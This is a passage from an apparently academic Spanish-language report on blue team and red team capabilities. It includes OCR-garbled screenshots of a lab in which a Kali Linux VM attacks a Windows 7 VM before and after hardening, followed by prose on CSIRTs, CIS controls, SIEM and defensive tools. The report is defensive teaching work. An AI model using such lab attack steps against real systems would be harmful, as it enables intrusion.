S ® 0 3 oss|

B Oh&e Bl g)E @ cromecHa

Fuente: Propia (2023)

llustracién 43. Analisis de la red con Antivirus en la maquina (Win7 64 bhits)

ﬁ Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox = X
Archivo Méquina Ver Entrada Dispositivos  Ayuda

s "[3 @& Avast Free Antivirus
£d -

Red

Proteccion > Inspector de red

No se ha encontrado en esta red

A

Panel de control Equipo

n Red 3 fue analizada el hoy a las 17:56.
)

Proteccion

- @

‘; 'N v , y Este equipo Red Internet
Papelera de Usuario
reciclae

MicrosoftEdge
T

HAGASE

PREMIUM ¢Es una red privada?

ANALIZAR TODOS LOS DISPOSITIVOS HECHO

-
Eyops 05:56 p.m.
Al ol e

@ u@s E@ol®s momcn

Fuente: Propia (2023)

Se procede a realizar modificaciones a los permisos del modo promiscuo a la
maquina Win7-SE2020-X64 (Win7 64 bits)
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llustracién 44. Modo promiscuo denegado en la maquina (Win7 64 bits)

v

1 — B @ O 9.

Nueva Afiadir = Configuracién = Iniciar

\~ ESISeg.DB [ General [®] previsualizacion
{3 Win7-SE2020-X54 - Configuracién I %
Win7-SE2020-X64
7]) @ Apagada
o ] coners Red
i;; g"”"’s'm’““r’““’" Sistema Adeptador 1 Adaptador 2 Adeptador 3 Adaptador 4 Win7-SE2020-X64
7 @ Apagada
(] eartatn Enable Network Adapter
i Lie Conectado a: |Red NAT v
bt [ — nacados:
Pegs Nombre: | Natetwork ~
win7-SE2020 @D puse  advanced
in7-
@ Apagada @J Red Tipo de adaptador: | Intel PRO/1000 MT Desktop (82540EM) v
@ Puertos serie Modo promiscuo: | Denegar o
? s Direccién MAC: [0800279280C0 | @
Cable Connected
D Carpetas compartidas
[ tnterfaz de usuario

==

[C] carpetas compartidas
Ninguno

& Descripcion

Ninguno

Fuente: Propia (2023)

Por ultimo realizamos nuevamente el ataque desde la maquina Kali Linux a la
maquina Win7-SE2020-X64 (Win7 64 bits) para validar las medidas de
hardenizacion propuestas para bloguear los ataques.

llustracién 45. Ataque desde la maquina Kali Linux a la maquina (Win7 64 bits)

ﬁ: Kali Linux [Corriendo] - Oracle VM VirtualBox - X
Archivo

Yl |

Maguina Ver Entrada Dispositivos  Ayuda

sergiovalero@kali: ~

Archivo Acciones Editar Vista Ayuda

[sudo] contras
g Nmap

msrpc
netbio:

open

virtual NIC)

DENIED

_DENIED

& o (=i B @ @ R oErecHa
Fuente: Propia (2023)
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Se evidencia que la maquina Win7-SE2020-X64 (Win7 64 bits), no es vulnerable a

los ataques desde la maquina Kali
hardenizacién propuestas para la protecc

Linux, validando que las medidas de
ion del ataque fueron las correctas.

llustracién 46. Target no vulnerable en la maquina (Win7 64 bits)

P Kali Linux [Corriendo] - Oracle VM VirtualBox
Archivo  Maquina  Ver Entrada Dispositivos  Ayuda

S emmPoE-|

2

Archivo Acciones Editar Vista Ayuda

Rank eck Des

normal

normal No

normal  No

Yes

Fuente: Propia (2023)
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2.6.2 Describa las diferencias entre un equipo Blueteam y un equipo de

respuesta a incidentes informaticos

EQUIPO BLUETEAM

EQUIPO DE RESPUESTA A
INCIDENTES INFORMATICOS (CSIRT)

¢Qué

son?

Un equipo Blueteam son un equipo de
profesionales especialistas en seguridad
informatica en diferentes &reas con
capacidades de reaccion ante ataques
informaticos en tiempo real convirtiéndolos
en una seguridad ofensiva ante incidentes
digitales.

Un equipo de respuesta a incidentes
informéticos (CSIRT), es un grupo de
profesionales expertos en ataques
preventivos y reactivos a los cuales se hace
entrega de un informe acerca de ataques a
la seguridad informética en una empresa
publica o privada, gobierno, etc.

Funciones

principales

Analizar en tiempo real el funcionamiento y
comportamiento de sistemas informéaticos a
través de métodos o herramientas para

SU funcién es la seguridad defensiva y la
documentacion de amenazas y
vulnerabilidades constantes.

detectar patrones anormales. Rastrear incidentes informaticos y de
Hardenizacibn o endurecimiento de | Ciberseguridad.
software y hardware para mitigaciébn o
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eliminacion de incidentes informaticos al
interior de la organizacion.

Validacién permanente de los controles y
métodos aplicados en la seguridad
informética en organizaciones para una
mejora continua.

Constante seguimiento a los sistemas de

Gestionar respuestas ante incidentes
informaticos para la eliminacion del riesgo,
ataque o prevencion de los mismos.
Ayudar a la comunidad en la proteccion
ante incidentes informaticos a través de la
difusién de contenido digital acerca de las
constantes amenazas a la seguridad.

informacién e informaticos para detectar
posibles amenazas en tiempo real

2.6.3¢,Si dentro de un equipo Blueteam le indican que debe trabajar con CIS
“Center For Internet Security” usted lo utilizaria para qué fin?

Si hay la posibilidad en el equipo Blueteam de trabajar con CIS*’ “Center For Internet
Security”, claro que se trabajaria, ya que esto permitira trabajar con controles y
procedimientos estandarizados preestablecidos contra incidentes informaticos y de
seguridad cibernética en la prevenciéon siendo esto de apoyo fundamental en las
politicas de seguridad informética de cualquier empresa que desee blinda sus
infraestructura tecnoldgica.

2.6.4Funciones y caracteristicas de lo que es un SIEM.

Para explicar y redactar las funciones de un sistema SIEM, primero hay que definir
qué es y para que sirve.

Un sistema SIEM es una informacién sobre seguridad y gestion de eventos o SIEM
(Security Information and Event Management) el cual permite a los responsables de
la seguridad informatica y de la informacion de la empresa detectar patrones
anormales del comportamiento en los sistemas informaticos para su analisis y
actuar en tiempo real ante las amenazas.

Sus funciones principales son:
¢ Monitoreo en tiempo real los sistemas informaticos (hardware y software) en
la organizacion en busca de patrones anormales.
e Asignar personal experto para la solucionar el incidente informatico.

17 ManageEngine (No) ¢Qué son y como implementar los Controles de CIS (CIS Controls)? Recuperado de
https://www.manageengine.com/latam/controles-de-seguridad-critica-cis.html
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e Documentar el proceso desde su deteccidén, como se actud ante el hallazgo
y finalmente la solucién del incidente informatico, creando una base de datos
de incidentes en la organizacion.

e Hacer cumplir la normatividad y legislacion vigente acerca de la proteccion
de la informacion y seguridad informética en la organizacion.

Sus caracteristicas principales son:

e Diferencia amenazas reales de incidentes falsos.

e Las potenciales amenazas son monitoreadas de forma centralizada.

e Funciones especificas del personal especialista calificado para soluciones
eficientes.

e Su cumplimiento de la normatividad vigentes y legislacion para el
cumplimiento de la proteccion de la informacion y la seguridad de los datos.

2.6.5Herramientas de contencion de ataques informaticos.

NEXT GENERATION FIREWALL (NGFW). Es un tipo de firewall avanzado que
utiliza tecnologias de seguridad adicionales a las utilizadas en los firewalls
tradicionales, tales como filtrado de paquetes y control de acceso basado en
politicas.

Entre las caracteristicas que hacen que un NGFW sea considerado de "proxima
generacion” se encuentran el analisis de contenido en profundidad, la identificacion
de aplicaciones y usuarios, la prevencion de intrusiones, el filtrado de URL, el control
de acceso granular y la integracion con sistemas de inteligencia de amenazas.

El NGFW se centra en proporcionar una seguridad mas completa y eficaz en
comparacion con los firewalls tradicionales, y puede detectar y bloquear amenazas
avanzadas y ataques sofisticados, lo que lo hace ideal para empresas que buscan
una seguridad de red avanzada y adaptada a las amenazas actuales.

En resumen, un NGFW ofrece una capa adicional de seguridad a la red empresarial,
y ayuda a proteger la red y los datos criticos de la empresa de las amenazas
cibernéticas.

Cisco FireSight. Cisco FireSight es una solucién de seguridad integral desarrollada
por Cisco que ayuda a las organizaciones a detectar, prevenir y responder a
amenazas de seguridad en tiempo real. Esta solucion integra las funciones de un
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sistema de prevencion de intrusiones (IPS) y un sistema de deteccion de intrusiones
(IDS) para proporcionar una proteccion avanzada contra amenazas de seguridad.

FireSight utiliza una tecnologia de analisis avanzada para detectar y prevenir
amenazas de seguridad, lo que incluye la identificacion de patrones de trafico
maliciosos, la identificacion de malware y la prevencion de intrusiones. La solucion
también incluye herramientas de andlisis y gestion de seguridad centralizadas,
permitiendo a las empresas la identificacion y respuesta a los incidentes
informaticos en linea.

Ademas, FireSight utiliza una arquitectura escalable y flexible permitiendo a las
organizaciones adaptarse y evolucionar con la continua transformacion de las
amenazas en la seguridad. La solucién también se integra con otras soluciones de
seguridad de Cisco, permitiendo a las empresas desarrollar una barrera de
seguridad robusta.

En resumen, Cisco FireSight es una solucion de seguridad avanzada que ayuda a
las organizaciones a protegerse contra amenazas de seguridad en tiempo real,
ofreciendo una variedad de caracteristicas y herramientas para garantizar una
proteccion completa y efectiva.

ESET Endpoint Antivirus. ESET Endpoint Antivirus es una solucién de seguridad
desarrollada por ESET que protege los dispositivos de una organizacién contra
amenazas de seguridad en tiempo real. Esta solucion utiliza una combinacion de
deteccion basada en firmas y tecnologia de deteccién heuristica para proteger los
sistemas contra virus, spyware, ransomware y otros tipos de malware.

Endpoint Antivirus también incluye herramientas de andlisis y gestion centralizadas,
lo que permite a los administradores de Tl monitorear y administrar la seguridad de
todos los dispositivos dentro de la organizacion. Estas herramientas también
permiten la configuracion de politicas de seguridad para garantizar una proteccion
consistente y efectiva en todos los dispositivos. Esta solucion también utiliza
tecnologia de prevencion de intrusiones (HIPS) y un firewall personal para proteger
los sistemas contra amenazas de seguridad conocidas y desconocidas.

En resumen, ESET Endpoint Antivirus es una solucion de seguridad avanzada que
protege los sistemas de una organizacién contra una amplia variedad de amenazas
de seguridad en tiempo real, ofreciendo herramientas de analisis y gestion
centralizadas para una proteccién completa y efectiva.
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3. CONCLUSIONES

La seguridad informatica es un activo critico en la era digital actual, debido a que
los datos y sistemas informaticos son valiosos y sus vulnerabilidades pueden ser
explotadas por individuos malintencionados para cometer delitos digitales.

Es importante tomar medidas para proteger los sistemas y datos, implementando
politicas y précticas de seguridad, usando herramientas y tecnologias de
ciberseguridad y estar al tanto de las amenazas y tendencias en el ambito de la
seguridad informatica. Ademas, es necesario conocer las leyes y regulaciones
existentes sobre delitos informéaticos y proteccién de datos personales para evitar
ser victima o ser acusado de cometer un delito informatico.

En general, los delitos informéticos en Colombia requieren una mayor atencion y
recursos para combatirlos. Esto incluye una mejor capacitacion de a los legisladores
encargados de judicializar a los ciberdelincuentes, asi como una mayor educacién
a la poblacion sobre como protegerse contra este tipo de delitos.

La creciente amenaza contra la privacidad de la informacién a nivel mundial,
demuestra la necesidad de cooperacion internacional en la lucha contra el
cibercrimen, siendo ejemplo de la importancia de la ciberseguridad en el mundo
actual y la necesidad de capacitacion, colaboracion e intercambio recursos
humanos y de tecnologia para hacer frente a las amenazas cibernéticas.

Como conclusion el equipo Red Team es responsable de simular ataques
informaticos para detectar posibles vulnerabilidades y debilidades en los sistemas
de seguridad de la organizacién y el equipo Blue Team es responsable de defender
los sistemas y prevenir posibles ataques, razon por la cual ambos equipos deben
trabajar juntos para identificar las debilidades y mejorar la seguridad de los
sistemas, siendo la comunicacion y la colaboracién fundamentales para lograr una
contencion efectiva de los ataques informaticos.

Hoy en dia es de vital importancia que, dentro de las organizaciones, existan
profesionales expertos en seguridad informatica, el cual constantemente
monitoreen la red en busca de vulnerabilidades para blindar a la empresa ante
atagues informaticos y contar con profesionales expertos red team y blue team en
las organizaciones.

En conclusion, la prevencion es clave en la contencion de ataques informaticos. Las
organizaciones deben contar con medidas de seguridad proactivas, como la
actualizacion regular de software y la capacitacion de los empleados en
ciberseguridad, para reducir el riesgo de ataques.
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En conclusion, la seguridad informatica es esencial para garantizar la privacidad,
integridad y disponibilidad de los datos y sistemas informaticos.

En resumen, la contencion de ataques informaticos requiere la colaboracion y
comunicacion efectiva entre los equipos de Red Team y Blue Team, asi como la
implementacion de medidas de seguridad proactivas para prevenir posibles
ataques.
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4. RECOMENDACIONES

Se recomienda que las organizaciones cuenten con un equipo blue team y red team
para detectar posibles vulnerabilidades y debilidades en los sistemas y defenderlo
de posibles ataques.

Se recomienda desarrollar estrategias de educacion en seguridad informatica y de
la informacion dentro de las organizaciones junto con la implementacion de medidas
correctivas en caso de un incidente informatico.

Se recomienda la actualizacion permanente del software y hardware en los equipos
informaticos y en las redes digitales en las organizaciones, para prevenir y corregir
vulnerabilidades.

Se recomienda no utilizar software “pirata” o no licenciado ya que deja en riesgo y
vulnerable los sistemas informéticos de la organizacion.

Se recomienda la contratacion de personal profesional especializado en seguridad

informatica y de la informacién para un constante monitoreo de los sistemas de la
organizacion.

68



BIBLIOGRAFIA

Allen, Mateus. (2017). Hacking ético basado en la metodologia abierta de testeo de
sequridad — OSSTMM, aplicado a la rama judicial, seccional armenia. Stadium
UNAD (pp. 33-
40). https://stadium.unad.edu.co/preview/UNAD.php?url=/bitstream/10596/17410/1
/9428806 1.pdf

Alvarez, Vilma. (2018). Propuesta de una metodologia de pruebas de penetracion
orientada a riesgos. Semanticscholar. (pp. 1-
26). https://pdfs.semanticscholar.org/f3be/44039e5f4c1bfced6ad23455291b2a304c
77.pdf

Copnia. (2015). Cdodigo de Etica para el ejercicio de la Ingenieria en general y sus
profesiones afines y auxiliares. Copnia. (pp. 3-
26). https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica

Mintic. (2018). Elaboracion de la politica general de seguridad y privacidad de la
informacion. Mintic. (pp. 17-24). https://www.mintic.gov.co/gestionti/615/articles-
5482 _G2_Politica_General.pdf

Mintic. (2009). Ley 1273 [LEY_1273 2009].Mintic. (pp. 1-
4). https://normograma.mintic.gov.co/mintic/docs/pdf/ley 1273 2009.pdf

Mintic. (2012). Ley 1581 [LEY_1581_2012]. Mintic. (pp. 1-
11). https://normograma.mintic.gov.co/mintic/docs/pdf/ley_1581_2012.pdf

OAS. (2018). Convenio Sobre La Ciberdelincuencia. OAS. (pp. 3-
26). https://www.oas.org/juridico/english/cyb_pry convenio.pdf

Quintero, J. F. (2020). Red Team vy Blue Team al interior de una
organizacion. https://repository.unad.edu.co/handle/10596/35497

Cis Security. (2020). CIS Center for Internet Security. CIS
Benchmarks. https://www.cisecurity.org/cis-benchmarks/

CCN Cert. (2018). Guia de seqguridad de las TIC (CCN-STIC-495) Sequridad en
IPV6.

CCN Cert. (pp. 10-29). https://www.ccn-cert.cni.es/pdf/quias/series-ccn-stic/quias-
de-acceso-publico-ccn-stic/1617-ccn-stic-495-seguridad-en-ipv6/file.html

69


https://stadium.unad.edu.co/preview/UNAD.php?url=/bitstream/10596/17410/1/94288061.pdf
https://stadium.unad.edu.co/preview/UNAD.php?url=/bitstream/10596/17410/1/94288061.pdf
https://pdfs.semanticscholar.org/f3be/44039e5f4c1bfced6ad23455291b2a304c77.pdf
https://pdfs.semanticscholar.org/f3be/44039e5f4c1bfced6ad23455291b2a304c77.pdf
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
https://www.mintic.gov.co/gestionti/615/articles-5482_G2_Politica_General.pdf
https://www.mintic.gov.co/gestionti/615/articles-5482_G2_Politica_General.pdf
https://normograma.mintic.gov.co/mintic/docs/pdf/ley_1273_2009.pdf
https://normograma.mintic.gov.co/mintic/docs/pdf/ley_1581_2012.pdf
https://www.oas.org/juridico/english/cyb_pry_convenio.pdf
https://repository.unad.edu.co/handle/10596/35497
https://repository.unad.edu.co/handle/10596/35497
https://www.cisecurity.org/cis-benchmarks/
https://www.cisecurity.org/cis-benchmarks/
https://www.ccn-cert.cni.es/pdf/guias/series-ccn-stic/guias-de-acceso-publico-ccn-stic/1617-ccn-stic-495-seguridad-en-ipv6/file.html
https://www.ccn-cert.cni.es/pdf/guias/series-ccn-stic/guias-de-acceso-publico-ccn-stic/1617-ccn-stic-495-seguridad-en-ipv6/file.html
https://www.ccn-cert.cni.es/pdf/guias/series-ccn-stic/guias-de-acceso-publico-ccn-stic/1617-ccn-stic-495-seguridad-en-ipv6/file.html
https://www.ccn-cert.cni.es/pdf/guias/series-ccn-stic/guias-de-acceso-publico-ccn-stic/1617-ccn-stic-495-seguridad-en-ipv6/file.html

Guia para la Gestién vy Clasificacion de Incidentes de Sequridad de la Informacion..
(2018). (p. 14 - 27). https://www.mintic.gov.co/gestionti/615/articles-
5482 G21 Gestion Incidentes.pdf

Incibe. (2019). ;Qué es el pentesting? Auditando la seguridad de tus sistemas.
INCIBE. https://www.incibe.es/protege-tu-empresa/blog/el-pentesting-auditando-
seguridad-tus-sistemas

Mintic. (2018). Guia de aseguramiento del Protocolo IPv6. Mintic. (pp. 21-
35). https://www.mintic.gov.co/gestionti/615/articles-
5482_G19_Aseguramiento_protocolo.pdf

Mintic. (2018). Guia de Auditoria. Mintic. (pp. 12-
19). https://www.mintic.gov.co/gestionti/615/articles-5482_G15_Auditoria.pdf

Mintic. (2018). Guia de Transicién de IPv4 a IPv6 para Colombia. Mintic. (pp. 46-
57). https://www.mintic.gov.co/gestionti/615/articles-
5482_G20_Transicion_IPv4_1Pv6.pdf

Moreno, Patricio. (2015). Técnicas de deteccion de atagues en un sistema SIEM
(Security Information and Event Management. Usfq.(pp. 31-
63). http://repositorio.usfq.edu.ec/bitstream/23000/4911/1/120801. pdf

70


https://www.mintic.gov.co/gestionti/615/articles-5482_G21_Gestion_Incidentes.pdf
https://www.mintic.gov.co/gestionti/615/articles-5482_G21_Gestion_Incidentes.pdf
https://www.mintic.gov.co/gestionti/615/articles-5482_G21_Gestion_Incidentes.pdf
https://www.incibe.es/protege-tu-empresa/blog/el-pentesting-auditando-seguridad-tus-sistemas
https://www.mintic.gov.co/gestionti/615/articles-5482_G19_Aseguramiento_protocolo.pdf
https://campus107.unad.edu.co/ecbti116/%20https:/www.mintic.gov.co/gestionti/615/articles-5482_G15_Auditoria.pdf
https://www.mintic.gov.co/gestionti/615/articles-5482_G15_Auditoria.pdf
https://www.mintic.gov.co/gestionti/615/articles-5482_G20_Transicion_IPv4_IPv6.pdf
https://www.mintic.gov.co/gestionti/615/articles-5482_G20_Transicion_IPv4_IPv6.pdf
https://www.mintic.gov.co/gestionti/615/articles-5482_G20_Transicion_IPv4_IPv6.pdf
http://repositorio.usfq.edu.ec/bitstream/23000/4911/1/120801.pdf
http://repositorio.usfq.edu.ec/bitstream/23000/4911/1/120801.pdf

ANEXOS

ANEXO A. PRESENTACION
Se anexa al documento la presentacion del Informe capacidades técnicas, legales
y de gestion para equipos blue team y red team en el siguiente enlace:

Drive:

https://docs.google.com/presentation/d/AINPUe3DmiDF20-
bxCrTggB3UF5VLLOB73/edit?usp=sharing&ouid=100106421197659878372&r
tpof=true&sd=true

ANEXO B. VIDEO DE SUSTENTACION

Se anexa al documento el video de la sustentacion del informe capacidades
técnicas, legales y de gestion para equipos blue team y red team en el siguiente
enlace:

Drive:
https://drive.gooqgle.com/file/d/1hgLHcTrmJPJ5YzIO0okS Vo6-
iJATEV7S/view?usp=sharing
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